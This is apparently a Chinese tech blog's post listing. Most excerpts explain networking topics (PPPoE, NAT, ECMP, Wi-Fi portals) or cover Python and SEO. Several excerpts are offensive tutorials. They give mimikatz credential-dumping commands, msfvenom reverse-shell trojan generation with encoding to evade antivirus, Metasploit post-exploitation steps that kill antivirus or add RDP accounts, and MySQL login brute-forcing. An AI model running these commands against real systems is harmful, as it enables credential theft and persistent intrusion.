• windows密码获取 -- mimikatz

    一、软件介绍 一款获取windows账号密码的软件 二、下载地址(软件作者) https://github.com/gentilkiwi/mimikatz 或加入Kirin博客交流群下载 三、使用方法 1、解压后双击打开,分32位和64位 2、输入下面两行命令,直接获取密码 privilege::debug sekurlsa::logonpasswords ...

    2021-03-04 509
  • 为何主机的IP地址和网关一样还能上网?

    为什么IP地址和网关一样还能上网,这样默认路由不就是自己了吗? 电信的网,固定IP,给了一个公网地址,IP地址(中间隐藏了):60.*.*.239,掩码:255.255.255.0,网关:60.*.*.239,网关的地址和IP是一样的,这样的话默认路由的下一跳不就是自己了吗,但是可以上网,百度搜索IP显示的地址也和电信给的一样60.*.*.239。 这里的网关,可以是任何IP地址,如果你喜欢,可以换成6.6.6.6或8.8.8.8等幸运数字也是可以上网的。 为什么呢?这里使用了PPPoE拨号技术,在这台网络设备与电信NAS网关之间动态创建了一条P2P(Point to Point)的隧道。隧道的本地虚拟接口假设为VA1,所有非60.x.x.0/24网段的流量都会通过VA1接口流出本地。 为何要从VA1流出本地?因为系统创建一条默认路由,类似于: 0.0.0.0/0  ------------ >   VA1 VA1其实类似与ethernet接口。当我们使用ethernet接口来上网时,IP报文需要通过ethernet接口流出时,ethernet接口必须做的一件事是封装(Encapsulation): Ethernet+ IP报文 有读者说,封装之前,至少还需要目的MAC地址,不是吗?是的,需要ARP广播来发现网关的MAC地址,然后“Ethernet + IP报文“就可以流出网口了,对吗? Okay,当用户的IP报文需要从VA1接口流出时,VA1接口必须做的一件事也是封装: PPPoE + IP报文 然后呢,这个“PPPoE + IP报文“能长出翅膀飞走? 不能。 既然不能,那么这个报文最终还是要乖乖地从ethernet接口(网口)这个物理接口流出。既然要从ethernet接口流出,一定要遵守ethernet接口的潜规则,必须完成封装: Ethernet + PPPoE + IP报文 这里ethernet封装也需要目的MAC地址,对吗? 是的。 是否也需要使用ARP广播来发现NAS网关的MAC地址? 不需要。 为什么? 因为PPPoE握手协商阶段,已经通过Discovery、Offer等报文提前获得了PPPoE服务器(NAS网关)的MAC地址。既然知道了,就没有必要ARP广播了。 于是就发生了神奇的一幕,报文最终通过ethernet接口流出,但是竟然没有使用ARP广播。 当报文顺着ISP的接入网络一路流到NAS网关时,NAS网关干两件事:  剥离Ethernet封装,因为目的MAC地址是自己的,否则直接丢弃 剥离PPPoE封装,根据剩下的IP裸报文继续路由转发 网关的地方既然任何IP地址都可以,那能否是空白的? 应该不可以,如果空白,将不会有上文那条默认路由。 最后一点,NAS网关的下行方向的路由是什么样子的? 60.x.x.239/32  ------------ >   VAn 这里的网络掩码为何是32,而不是24? 欢迎加入交流群一起讨论!...

    2021-03-03 680
  • 同一个IP使用不同网络掩码,会发生什么?

    相同的ip用子网掩码可以分成不同的网络段,对于其他主机怎么区别呢?比如我现在想要访问192.168.100.50这个地址。现在网路上有两个这个ip,一个是192.168.100.50,子网掩码是255.255.255.0。另外一个子网掩码是255.255.254.0。这两个是不同的网络段,但是我的ip报头中目标地址是一样的,这个如何区别呢? 一个似曾相识的讨论题,值得讨论一下,讨论之前需要先行阅读它。 首先,在一个局域网内,一个IP地址只能用在一个地方,所以你将一个IP = 192.168.100.50 用在两个地方是不符合规范的。 你不会觉得192.168.100.50/24 与192.168.100.50/23 是两个IP地址吧? 虽然它使用不同的网络掩码,但192.168.100.50依然还是192.168.100.50啊! 如果可以使用不同的网络掩码把一个IP地址(1.1.1.1)变成多个IP地址,IP地址也不至于那么快枯竭。 网络掩码的真实含义1.1.1.1/32    代表IP = 1.1.1.1 是网段1.1.1.1/32的一个成员,网段里共1个成员。1.1.1.1./31    代表IP = 1.1.1.1 是网段1.1.1.0/31的一个成员,网段里共2个成员。.。。。1.1.1.1./24    代表IP = 1.1.1.1 是网段1.1.1.0/24的一个成员,网段里共256个成员。1.1.1.1./16    代表IP = 1.1.1.1 是网段1.1.0.0/16的一个成员,网段里共65536个成员。1.1.1.1./8    代表IP = 1.1.1.1 是网段1.0.0.0/8的一个成员,网段里共16777216个成员。 所以IP地址的网络掩码,只是表示这个IP地址所在网络的大小,即成员数的多少。 回到问题本身,192.168.100.50/24 与192.168.100.50/23相比,谁的网络成员多? 当然是后者,即192.168.100.50/23,后者是前者的2倍。 当试图访问192.168.100.50这个IP地址时,有两个route option,一个指向192.168.100.50/24的网关,另一个指向192.168.100.50/23的网关,你觉得哪个更精准一点? 当然是前者,前者的范围更小。 在路由表的优选算法里,哪条路由表条目与IP报文的目的IP更精准匹配,谁更优。 所以访问192.168.100.50的流量,全部会转发到192.168.100.50/24,而不会到192.168.100.50/23。除了与192.168.100.50/23同网段的流量除外。...

    2021-03-03 575
  • Metasploit -- 生成木马(msfvenom)

    作用:生成木马文件 1、msfvenom 相关参数介绍 -p, --payload <payload> 指定需要使用的payload(攻击荷载) -l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 2、以windows为例 基础命令格式 windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=8787 -f exe > shell.exe 加上编码(达到免杀效果) msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 LHOST=192.168.139.131 LPORT=4444 -f exe > 1.exe 3、连接生成的木马 选择攻击模块(exploit/multi/handler) 设置payload和上面的一样 4、目标主机运行木马 注意: msf exploit(multi/handler) > set ExitOnSession false    //可以在接收到seesion后继续监听端口,保持侦听。 防止session意外退出 msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0   //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0 msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭 ...

    2021-03-02 615
  • Metasploit -- 后渗透模块(POST)

    作用:获取目标主机后shell后,继续信息收集,提权 1、获取目标分区情况 run post/windows/gather/forensics/enum_drives 2、检测是否是虚拟主机 run post/windows/gather/checkvm 3、获取当前安装的应用程序 run post/windows/gather/enum_applications 4、获取用户登录信息 run post/windows/gather/enum_logged_on_users 5、对目标进行漏洞扫描 run post/multi/recon/local_exploit_suggester 6、收集系统环境信息 run post/multi/gather/env 7、查看开启的服务 run post/windows/gather/enum_services 8、查看目标主机最近的操作 run post/windows/gather/dumplinks 9、其他操作 删除用户 run post/wndows/manage/delete_user username=aiyou 添加账户 run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou 关闭杀软 windows/manage/killav ...

    2021-03-01 549
  • Metasploit -- 辅助模块

    作用:Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等 一、辅助模块氛围三个大类 1、Admin Admin/HTTP模块 Admin/MSSQL模块 Admin/MySQL模块 Admin/Postgres模块 Admin/VMWare模块 2、Scanner DCERPC Discovery FTP HTTP IMAP MSSQL MySQL NetBIOS POP3 SMB SMTP SNMP SSH Telnet TFTP VMWare VNC 3、Server 捕获模块 二、Admin例子 1、查找关于mysql的辅助模块 2、选择auxiliary/admin/mysql/mysql_sql use 1 3、查看需要设置的参数 4、设置目标主机、用户名和密码, 5、run,执行 三、Scanner例子 1、搜索关于扫描mysql数据库的辅助模块 2、选择auxiliary/scanner/mysql/mysql_login,爆破数据库登陆 use 3 3、查看需要设置的参数 4、设置用户名字典 5、设置密码字典 6、设置目标主机 set rhosts 192.168.139.129 ...

    2021-02-28 546
  • Metasploit -- 攻击载荷模块

            攻击载荷是指用户希望对目标系统攻击成功之后去执行的代码。例如,创建一个Meterpreter连接或者通过绑定到一个监听端口,来获取Shell交互。也可以利用攻击载荷在目标操作系统上执行一些命令,如添加账号等。 一、Payloads分类 1、 singles(独立载荷) 直接植入目标系统并执行相应的程序,如:shell_bind_tcp 2、stagers(传输器载荷) 用于目标机与攻击机之间建立稳定的网络连接,与stages(传输体载荷)配合攻击,该种载荷体积都非常小,如:bind型和reverse型。 bind型:需要攻击机主动连接目标端口。 reverse型:目标机反向连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。 3、stages(传输体) 在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。如得到目标机的shell或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。 二、显示支持的目标主机类型,大多数MSF渗透攻击模块会自动对目标系统类型进行识别 1、show targets 显示目标主机类型 2、set TARGET 1 设置目标主机类型 三、显示可利用所有payload 四、最常见的payload windows/meterpreter/bind_tcp       #正向连接 windows/meterpreter/reverse_tcp    #反向连接,常用 windows/meterpreter/reverse_http   #通过监听80端口反向连接 windows/meterpreter/reverse_https  #通过监听443端口反向连接 ...

    2021-02-27 588
  • Metasploit -- 渗透攻击模块

    作用:渗透攻击模块可以直接发起渗透攻击 1、显示所有渗透攻击模块 show exploits 根据需求筛选模块 search -h 2、查找关于mysql数据库的攻击模块 search name:mysql type:exploit 3、查找路径含有mysql的模块 search path:mysql 4、查找漏洞编号 search cve-2019-0230 5、选择要利用的模块 use 0 use exploit/multi/http/struts2_multi_eval_ognl use exploit 按tab键获取相关提示 6、了解模块相关信息 info 7、查看需要设置的参数 8、设置共计目标 set rhosts 192.168.139.128 9、攻击 run ...

    2021-02-26 578
  • Ping一个不存在的IP,防火墙上会发生什么?

    有个疑问,就是在nat下面如果一台主机向外部不存活的主机发送数据,那么在nat中相应的映射会不会建立?IP地址为192.168.1.10的主机向外部发送数据,就会被nat转换成1.1.1.1:8888的地址和端口号之后再发送,nat表中就会留着这一条记录,那么如果向3.3.3.3发送数据,而此时这个3.3.3.3是关机状态,是找不到,ping不通的,那么这个时候nat网关还会不会在nat表中还会不会建立nat映射,留下一个nat的洞呢?还是说在发现主机不存在之后直接就在建立映射之前就丢弃了。这个问题曾经困扰我很久,后来我找到了答案。每次看到自己的问题被复现(re-produce)会感觉莫名其妙的神奇,人类在学习新知识上有太多的共性。先说结论,答案是肯定的,只要有合法的报文从NAT设备的inside接口流入,并且从outside接口流出,并且满足NAT转换规则,一定会产生一个NAT表项。安全性你可能会有一些疑问,这多不安全啊。一个NAT表项就相当于在紧锁在大门上开一个小洞,反向的流量顺着小洞就可以流进内网(inside)。而且如果NAT表项存活的时间越长,所产生的潜在安全威胁越大。NAT端口资源浪费如果使用自动化脚本向外发送65535个报文,每个报文使用不同的源端口号,是不是一下就将NAT设备的源端口号(65535个)耗尽了?那么NAT设备就无法为其它网络设备提供上网服务了。这是典型的由内网发起的DoS攻击。带着这些悬而未决的疑问,做了许多实验,翻阅了防火墙设备的白皮书。当然我会优先翻阅Cisco的白皮书。在业界Cisco的白皮书如果自称第二,没人敢说第一。雄厚的技术实力做为后盾,所以我推荐Cisco的技术文档做为学习的首要资料。最为关心的一个知识点是,创建NAT表项需要几个packet?1个、2个、3个、还是更多?白皮书旗帜鲜明地指出,一个session只有第一个packet走slow path,剩下的packet 会走fast path。初学者看到这里也许会一头雾水,这些英文单词个个都认识,但是放在一起就不认识了,什么意思呢?Slow Path软件转发(Process Forwarding),就是纯CPU软件计算,packet被软件代码裹挟着,packet从哪个口incoming,需要从哪个口outgoing,满足不满足NAT Rule,如果满足条件,生成NAT表项,然后将packet从出口扔出去。同时将NAT表项下压到硬件FIB表。Fast Path硬件转发(FIB Forwarding),基于硬件芯片的转发。感谢高速的硬件转发,才有今天高速的互联网。换句话说,第一个packet走的慢速软件通道,从第二个packet走的就是高速硬件通道。换句话说,TCP的三次握手也只有第一个packet走的是慢速通道!但是,如何克服以上提到的问题呢?当你Ping一个IP地址,如果这个IP地址可以回复消息,那么这条NAT表项可以存活5分钟(没有流量刷新)。但如果这个IP地址在timeout时间内没有回复消息,那么这条NAT表项存活5秒钟,是不是可以安全一些?如果来自同一个IP在狂刷端口号,那么只要设置一个上限值,超过上限值直接扔掉。可以解决以上的DOS攻击问题。最后,硬件FIB表只要5秒内接收到来自outside接口的返回报文,这台NAT设备已经看到了双向的packet进出。证明双方是有能力通信的,硬件FIB表模块通知软件一个双向通信的状态位,软件将NAT表项更新,延长其存活时间(5秒到5分钟),同时FIB表也相应更新,保持软硬件表项的同步更新。当有流量hit到这个表项时,继续刷新表项的存活时间。否则,硬件FIB表只要5秒内没有收到outside接口的返回报文,那么软硬件表项同时删除,大门上敞开的小洞就一下消失了。这篇文章适合有一定NAT基础的同学阅读,初学者可以先学习网络地址、掩码、网关、路由、VLAN、ACL。...

    2021-02-24 626
  • Metasploit -- 扫描并分析主机

    一、使用db_namp命令扫描存活主机 db_nmap -sU 192.168.139.0/24 注意:也可以直接使用nmap -sU 192.168.139.0/24,但是这样是直接使用的nmap扫描,而不是通过metasploit调用namp,所以不会记录结果 二、文件导入(支持多种扫描报告,re.xml是nmap的一个扫描报告) workspace -D清除上面的扫描结果,重新建立工作区 db_import  文件路径 三、分析主机 1、获取主机ip地址 hosts 2、分析目标主机,如果存在漏洞会给出相应漏洞利用模块 analyze 192.168.139.130 ...

    2021-02-23 630
  • 为何我的电话总是有杂音?

    感谢各位朋友友情分享文章,为了感谢大家的支持,特意写这篇计划外的文章。这篇文章是【一台服务器两个网卡接入同一网段,会发生什么】两篇文章的后续,文章总是从浅入深展开,没有完整看完前两篇文章的读者可能难以理解本篇文章。  故事依然发生在网络监控设备商工作期间,代理商接到客户电话,客户打电话时,总会伴随时序上的前后串音,希望能借助我司的产品将Root Cause 找出来。 于是,我们带上Time Machine来到了客户公司,插好探针开始抓包。抓包的性能特别好,可以实时抓1G流速的流量,抓包完成开始分析报文。Time Machine将语音UDP/RTP流按照session为单位组织起来,不需要filter即可快速找到感兴趣的要分析的session 流量。 看了一下,好像没有什么问题,双向UDP/RTP来回正常穿梭。但是看着看着有一点比较奇怪的现象,session的源端口好像一直在变化。换句话说,每一个语音包的源端口(Source Port)都是不同的,每一个语音包的目的端口(Destination Port)一直是固定的。 快速查阅了资料,语音包的源端口可以使用固定的端口号(语音呼叫双方协商的端口号),也可以使用动态随机端口号,只要保证语音包的目的端口固定为协商的端口号即可。 立马开动逻辑计算,既然语音发生了前后窜音,说明语音包发生了乱序(Out of Order),什么情况下会发生乱序? 当多链路ECMP负载均衡时,将属于同一个session的流量分摊到多条链路上,而每一条链路到达目的地的延迟是不一样的,有的大些,有的相对小些。这样就非常有可能后发的语音包先到达目的地,而早发的语音包稍后到达,这样就形成了时序上的前后颠倒。 在ECMP算法里,根据四元组做为输入参数,而四元组的一项参数(source port)发生了实时改变,造成了digest发生了天翻地覆的变化,最后得出的余数也是一直变化的。那么流量会分摊到多条链路,从而造成潜在的语音报文的乱序。 当逻辑计算满足不前后矛盾,基本上预示着找到了root cause。接下来的工作其实很简单,修改配置,将语音客户端的源端口号option,修改成使用固定的(使用双方协商的端口号)。再次拨打电话,语音通话完全正常,没有先前的毛病。 抓包软件再厉害,没有懂它的人也是白搭。用户能将这个隐藏的逻辑发现出来吗? 也许,如果用户精通协议分析。大多数情况下是没有这个能力的,术业有专攻,社会分工而已。 学习,讲究融会贯通,用积累到扎实的知识去分析新鲜的事物。也许好多人正在学习VxLAN,如果学习这项技术很吃力,说明基础没有打好。 VxLANVxLAN是一种UDP隧道技术,数据平面(Data Plane)可以运输二层帧(Ethernet Frame)、也可以运输三层IP包(IP Packet)。控制平面(Control Plane)由MP-BGP负责分发二层路由表(MAC Table)、或三层路由表(Routing Table)。如果多说一点,VxLAN本身是不安全的,本身只是一个裸UDP隧道,没有加密机制。如果保证被运输货物的安全,有三种选择:  货物本身加密(SSH、TLS、DTLS) 使用IPsec加密UDP隧道 或者同时使用上面两种加密技术  当然,这些内容不是今天讨论的重点,今天的重点只和端口号有关,为何VxLAN这种基于UDP隧道,可以使用动态随机的源端口号,不怕流量ECMP负载均衡时,发生流量乱序吗? 欢迎来到粉丝会员群(点击文末“加入交流群”扫码即可加入)一起参与讨论,在群里会给你以启发,让你快速找到协议设计种种潜在的考量,当再次看到这些技术时,不再是面目可憎,而是如沐春风,因为它们已经成为你继续飞翔的翅膀!...

    2021-02-21 811
  • 续:一台服务器两个网卡接入同一网段,会发生什么?

    感谢各位热情读者朋友的大力支持这篇文章,交流群的一位读者这么说的:“一台电脑有一块无线网卡、一个有线网卡,连在同一个网络里,一点事没有,上网正常”。 他是对的,电脑允许两块网卡配置同一个网段地址,比如192.168.1.x/24。这两块网卡其实没有任何关联性。如果你把电脑看成一个流量的蓄水池,这两块网卡就是两个出口(outgoing traffic),或者两个进口(incoming traffic)。称它们为A口(wired)、B口(wireless)。   蓄水池是如何负载均衡的? 流量全部从A口流出 流量全部从B口流出 流量一半从A口流出,剩下一半从B口流出   计算机操作系统,对于不同类型的接口,有自己的喜好。认为可靠性高的物理接口,有更高的优先级,在路由选路算法中占据优势。那么这种优先级用什么来衡量呢?   用Metric,Metric越小,说明优先级越高,路由算法里优先选择。大家来看一张路由表: 路由表的最后一栏,就是metric,最小的metric =35,最大的metric = 331。但是在这张路由表里metric没有多大意义。因为任何一个路由条目只有一个表项,比如:0.0.0.0/0,这是一条指向Internet的路由,就这一条路由,无论metric多少,只有这一种选择。   回到主题上来,A口与B口谁的优先级高呢? A口的优先级高,通常有线口的丢包率、延迟性能都优于无线口,所以metric会更小,那么路由算法就会优选A口。流量会全部从A口进出。   可以手动将B口metric值修改得比A口小,让流量优先从B口进出? 当然是可以的。   可以将A、B口的metric 修改成一样的,让流量一半从A口出,一半从B口出? 当然也是可以的。这里要敲黑板了,这就是上篇文章里提到的ECMP(Equal Cost Multiple Path),这是一种统计学意义上的负载均衡。   什么是统计学意义上的负载均衡? 当有多条ECMP等价路由(Metric相等)时,是将流量平均分配到每一条链路(出口)上去吗?   并不是!为什么不这么做呢? 这样就把同一个session的流量平均分摊到多条链路,造成的潜在后果是,后发的报文先到,造成乱序。而乱序的后果挺严重,在报文的接收方眼里,乱序和丢包几乎没有差别。会触发发送方重传乱序的报文,一旦发送方开始重传,伴随的是流量降速,从而影响session的整体性能。   那么,如何保证同一个session的流量走同一条链路? 你在浏览器打开一个网站,浏览一副图片,这就是一个session。 一个session的四元组通常是一样的,这四元组分别是: 源IP 目的IP 源端口 目的端口   将一个session的四元组做为输入参数,运行一个Hash函数,得出的值是不是都是一样的? Hash函数,和高中一年级学习到的函数并没有本质的差别。输入值相同,得出的输出值也会相同,这就是函数。   digest = hash(source ip, source port, destination ip,destination port)   假设现在有2条ECMP链路,用digest (digest为正整数)除以2,得到的余数只有两种可能:   0 1   将余数为0对应的digest所代表的session,流量分摊到A接口。 将余数为1对应的digest所代表的session,流量分摊到B接口。   假设现在有3条ECMP链路,用digest 除以3,得到的余数只有三种可能:   0 1 2   将余数为0对应的digest所代表的session,流量分摊到A接口。 将余数为1对应的digest所代表的session,流量分摊到B接口。 将余数为2对应的digest所代表的session,流量分摊到C接口。   无论有多少条链路,采用以上算法依此类推,即可算出分摊到的物理链路。   如果朋友们觉得这篇文章有点帮助,可以转发给您的朋友一起看。如果文章统计意义上的数据达到心里的预期,会在下一篇文章里写“会员专享”内容,这些内容和ECMP高度相关,里面包含有多年排错的积累,这些内容只会在Kirin博客和交流群里分享,感谢各位朋友的阅读! ...

    2021-02-21 1357
  • 小米线刷教程

    下载MiFlash线刷工具解压,打开XiaoMiFlash.exe 下载你的机型的线刷包解压(解压的文件地址不能有中文) 解压完返回线刷工具软件,点击选择,选中你刚解压的文件夹 手机进入FastBoot模式(同时按住音量下加开机键)进入之后用数据线连接电脑,选择加载设备,直到下面出现你的设备 软件右下角选择全部删除按钮,如果你没有选择这一步,你的手机会被重新锁上BL 点击软件左上角的刷机,然后耐心等待,直到结果进度条变为绿色。 线刷成功。 ...

    2021-02-20 810
  • 别去送死了!爬虫使用 Selenium 与 Puppeteer 能被网站探测的几十个特征

    很多人喜欢使用 Selenium 或 Puppeteer(Pyppeteer) 通过模拟浏览器来编写爬虫,自以为这样可以不被网站检测到,想爬什么数据就爬什么数据 但实际上,Selenium 启动的浏览器,有几十个特征可以被网站通过 JavaScript 探测到;Puppeteer 启动的浏览器,也有很多特征能够被网站探测 如果你不相信,那么我们来做一个实验。首先你使用正常的浏览器打开如下网址:https://bot.sannysoft.com/ 可以看到,页面的内容如下: 这个页面很长,你得滚动鼠标往下看,大部分都是绿色的 接下来,使用 Selenium启动一个 Chrome 的有头模式,再打开这个页面看看效果: 一开始 WebDriver这一项就标红了,说明网站成功检测到你使用模拟浏览器了 你再往下翻,标红的都是可以被检测出的特征 左边是普通浏览器,右边是模拟浏览器 左边是普通浏览器,右边是模拟浏览器 如果你一项一项对比,就会发现很多地方都不一样 这还是有头模式的效果。我们来看看无头模式: from selenium.webdriver import Chrome from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument("--headless") driver = Chrome('./chromedriver', options=chrome_options) driver.get('https://bot.sannysoft.com/') driver.save_screenshot('screenshot.png') 截图打开以后是下面这样的。不要吓到: 万里河山一片红 这么多特征都直接暴露了,你还隐藏个屁。网站只要想发现你,非常容易。 既然 Selenium 不行,那 Puppeteer 或者 Pyppeteer怎么样呢? 我们使用 Pyppeteer 来做个实验,直接启动无头模式并截图 运行效果是下面这样的: 跟 Selenium 没什么区别 所以,你还好意思继续用这两个东西来写爬虫? 爬点没有安全意识的小网站可以,爬那些有强大安全团队和法务团队的公司,你就是在找死! ...

    2021-02-19 797
  • 如何正确设置 Python 项目的入口文件?

    今天在Kirin博客粉丝交流群里面,有一位爱好者提到了 Python 找不到模块的问题:问题涉及到的代码结构和代码截图如下: 这个问题的解决方法非常简单,就是把start.py文件从bin文件夹移出来就好了。 但如果对这个问题进一步分析,可以看到更多问题。 在我以前的文章:为什么Python代码能运行但是PyCharm给我画红线?中,我讲到了工作区(Workdir)对代码的影响。PyCharm、VSCode 识别的工作区,可能并不等于你直接在终端窗口运行.py文件时候的工作区。 今天这个问题本质上也是工作区导致的问题。这个同学的项目根目录是MY_API,所以他使用的编辑器VSCode 就会默认把MY_API当做工作区。所以,当他在start.py文件中写上from lib.interface import server时,VScode 并不会给他标记红色波浪线。因为从 VSCode 的视角看,lib文件夹确实就是在工作区下面的。 但是,当他在 VSCode 里面运行这个start.py文件时,Python 是从bin文件夹下面运行的。此时,Python 会把bin文件夹当做工作区。在工作区里面就只有这一个start.py文件,所以当然找不到lib文件夹。 如果仅仅从技术上来说,你非要导入 bin 文件夹的父文件夹下面的其他模块,也并不困难,我在一日一技:导入父文件夹中的模块并读取当前文件夹内的资源一文中讲到了具体的做法。 但问题在于,你不应该这样做。你不应该把项目的入口文件,放到项目内部很深的文件夹中。 所谓入口文件,就是要首先经过它,才能到达其他的文件。当你拿到一个 Python 项目,你只需要首先从入口文件开始阅读代码,根据入口文件调用的模块,一路看下去,你就能读到它的所有实现逻辑。 但如果大家经常逛 Github,就会发现,有些人可能是被其他垃圾语言污染了思想,他的 Python 项目,根目录有五六个文件夹和七八个.py文件。你拿到这个项目的时候,你甚至不知道,当你想运行这个代码的时候,python3 xxx.py应该运行哪个文件。你多方打听,或者看了半天文档,才知道,哦,原来入口文件在com/xx/yy/zz/script/run.py。 当你打开这个run.py文件,你发现它的顶部,文件导入的代码写的是from ../../../../aaa import bbb。 简直是神经病写法。我知道有些垃圾语言流行这样写。但现在你用的是 Python,学聪明一点,别那样写。 对于一个 Python 项目来说,入口文件应该始终在最外层。例如: 当你要启动这个项目的时候,直接在最外层python3 main.py,就能把它启动起来。在main.py里面,你可以导入其他模块,然后调用其他模块里面的类或者函数。 这样做的好处是什么?这样做,你是在项目的根目录启动的这个项目,所以你的工作区就是项目的根目录。那么你在任何一个.py文件里面都可以很容易地基于工作区导入任意其他文件。例如,你现在在models/mongo-util/mongob_helper.py文件中,你想导入utils/abc.py中的time_format()函数,那么,你只需要这样写就可以了。 from utils.abc import time_format 你根本不可能出现需要导入父文件夹中的某个模块的情况。 只有工具脚本,才需要单独使用一个文件夹来存放,然后调用父文件夹中的其他文件。例如,我现在有一个工具脚本,它每天晚上0点会读写 MongoDB,清理无效数据,那么此时,我可以在根目录单独创建一个script或tools或者bin文件夹,然后把工具脚本放进去,例如: 在这个工具脚本里面,你可能会调用models/mongo-util/mongob_helper.py文件中的某个函数。这种情况下,你调用父文件夹中的内容是可以接受的。但这毕竟只是工具脚本。 可能还有同学要问,那如果我的项目是一个 Python 的包,它本身没有入口文件怎么办呢?这个时候,你可以把这个包的__init__.py当做它的入口文件。大家可以参考我在 GitHub - kingname/GeneralNewsExtractor: 新闻网页正文通用抽取器 Beta 版.[1]的代码组织结构。在项目根目录留下一个example.py文件,用来演示如何调用这个包。而这个包本身的代码,是在一个叫做gne的文件夹中的。这个gne文件夹是一个包,它的入口文件在__init__.py中。 ...

    2021-02-19 756
  • 连着Wi-Fi,但显示没有接入互联网是怎么回事?

    连着Wi-Fi,但显示没有接入互联网是怎么回事?不需要输入密码的无线热点,尽管可以自由连接热点,但是需要一点点代价。这个代价是什么呢? 需要知道谁在连接Wi-Fi热点,这点要求不过分吧! 如果连用户信息都不收集,万一在Internet上干点坏事,怎么快速找到肇事者? 通常在用户成功连接Wi-Fi之后,用户获得了IP地址、网关、DNS服务器,用户就可以访问Internet了吗? Web Portal认证不可以,需要先认证用户的身份信息。怎么实现的呢? 这种基于网页的认证方式为Web Portal-BasedAuthentication。用户有了IP参数信息,可以在浏览器里输入任何网址。当这些报文流经Wi-Fi热点时,对不起全部扔进垃圾桶。取而代之的是给用户返回一个“重定向”认证页面,通常用户需要输入手机号码,点击发送验证码。后台收集你的手机号码,就可以给你的手机发送验证码。等你输入验证码之后,后台比较两个验证码是否相同。相同,认证成功。否则,认证失败。 知道你的手机,就知道你是谁,因为现在手机基本都是实名认证的。不怕你使用互联网,怕的是不知道你是谁,懂吧? 如果你一直没有完成页面认证、或者认证页面一直没有弹出,那么你就一直无法上网。 微信认证有些热点可能选择微信认证,也是相同的原理。唯一的不同是,为了让你的电脑可以与微信服务器可以通信,Wi-Fi热点放行(Pass)电脑与微信服务器的通信,所以即使没有认证成功之前,你的电脑或手机是可以自由访问微信的。一旦微信服务器将你的ID信息返回给Wi-Fi热点之后,你的用户认证工作就完成了,接下来会允许所有的流量通过。 读者可能还会其它的问题,为何右下角的互联网小图标,经常会显示“No Internet Access”,但是电脑却是可以访问Internet的,比如可以秒开知乎的主页。这是为什么呢? 这是典型的False Alert。Windows这个操作系统为了帮助用户定位网络问题,在设计之初配置了几个探测动作,即尝试访问微软自定义域名对应的TCP 80端口,如果可以成功连接,可以证明以下几点:  DNS解析没有问题,否则无法解析微软自定义域名 互联网IP连接性没有问题,否则连接无法建立 TCP/IP协议栈没有问题,否则TCP无法建立连接 防火墙TCP 80端口自由通信,否则TCP无法建立连接  以上4个要素任意一个要素出问题了,Windows就会报“No Internet Access”。当然大多数的情况下,确实意味着用户的网络出问题了。需要排除DNS问题、IP连接性问题。但是如果公司的防火墙不允许TCP 80端口通行,那么这就是False Alert,因为用户除了80端口不能访问之外,可以自由访问其它任何应用,比如HTTPS、Outlook、Teams、微信等等。...

    2021-02-19 782
  • 几个招数让网站快速收录文章

    一、提交网站地图      我们每天更新好站内文章之后,要将网站的地图更新一下,然后提交地图到百度,让其可以通过地图访问你的网站。对于网站跟新比较频繁的可以一周更新一次,更新不频繁的一个月更新一次就行。   二、按照百度官方的说法去执行      1、原创内容优先展示。当然,能原创是最好的,但是往往我们在维护的客户网站专业性质很强,我们的水平有限,也只能做到伪原创。      2、对于一些权重比较高的网站,如果采集了一些小站的文章,那么百度可能会不确定小网站的情况,所以小网站可以通过ping机制ping给百度,这样有利于让百度知道哪个是原创的。      3、笔者一般是按照百度官方的这些指示做好,再到一些收录比较快,权重比较高的网站去发表一下外链。   三、网站站内文章之间的链接      不论是文章之间还是栏目和网站首页之间,全部要有一个或者几个链接的路径,这个路径是蜘蛛在你网站上面爬行的一种链接,同时也可以让用户点击的链接,对于网站的收录,排名和权重的提高都是比较不错的。   四、和一些更新比较频繁的网站交换链接      友链的作用大家也都知道的,友情链接对于网站的排名起到一定的作用,同时友情链接又引导蜘蛛在网站之间来回爬行的一种链接,对于网站的排名和收录都是非常有帮助的,所以我们要经常和一些更新比较频繁的网站交换链接。比如:Kirin博客   五、发外链吸引蜘蛛的方法      1、很多站长发布外链都是带个网站的首页网址就算了,我认为这种优化方式比较单一,如果你的网站权重低,更新不频繁的话,可能蜘蛛通过链接到了你的网站就不再深入去爬行了。      2、一般更新完文章,就可以去各大论坛和博客发布文章,然后带上刚刚发布的文章地址。这种效果是比较不错的。   六、文章模块的设置      1.文章每个页面设置一个最新文章模块,每次更新的文章在各个页面中展示,这样就可以每个页面给这篇文章增加权重,从而让新文章更容易收录。        2.每个页面设置一个随机文章模块,这样百度蜘蛛来这个网站就会保证这个网站是每天更新的,每天有新的内容,这样蜘蛛会更加喜欢你的网站,来网站抓取的频次更高,内容更容易收录。      只要根据以上的几点方法来对我们的网站进行seo优化,那我们的网站就可以很轻松的被搜索引擎收录了。 ...

    2021-02-18 645
